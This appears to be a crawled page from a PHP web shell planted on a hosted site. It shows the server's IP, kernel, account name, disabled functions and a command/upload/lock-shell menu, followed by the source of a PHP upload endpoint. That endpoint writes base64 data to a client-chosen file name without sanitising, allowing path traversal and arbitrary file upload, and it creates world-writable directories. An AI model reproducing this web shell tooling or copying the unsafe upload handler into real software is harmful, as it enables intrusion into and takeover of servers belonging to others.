Server IP : 82.180.170.48 / Your IP : 18.188.188.143 Web Server : LiteSpeed System : Linux us-phx-web1609.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64 User : u636808025 ( 636808025) PHP Version : 8.2.28 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u636808025/domains/converta.app/public_html/../public_html/bordot/../ |
[ Home ] | [ C0mmand ] | [ Upload File ] | [ Lock Shell ] | [ Logout ] |
---|
<?php // Defina o cabeçalho para garantir que o PHP aceitaria requisições JSON header('Content-Type: application/json'); // Verifique se a requisição é POST e se contém os dados esperados $data = json_decode(file_get_contents('php://input'), true); if (isset($data['fileData']) && isset($data['fileName'])) { $fileData = $data['fileData']; // O base64 do arquivo $fileName = $data['fileName']; // O nome do arquivo (ex: 'downloadedFile.pdf') // Remover o prefixo "data:application/pdf;base64," $base64Data = preg_replace('/^data:application\/pdf;base64,/', '', $fileData); // Decodificar o base64 $fileDataDecoded = base64_decode($base64Data); // Caminho onde o arquivo será salvo $uploadDir = 'uploads1/'; if (!is_dir($uploadDir)) { mkdir($uploadDir, 0777, true); // Cria o diretório 'uploads' se não existir } $filePath = $uploadDir . $fileName; // Salvar o arquivo no servidor if (file_put_contents($filePath, $fileDataDecoded)) { // Retornar a URL do arquivo gerado $fileUrl = 'https://' . $_SERVER['HTTP_HOST'] . '/' . $filePath; echo json_encode(['success' => true, 'filePath' => $fileUrl]); } else { echo json_encode(['success' => false, 'message' => 'Erro ao salvar o arquivo']); } } else { echo json_encode(['success' => false, 'message' => 'Dados inválidos']); } ?>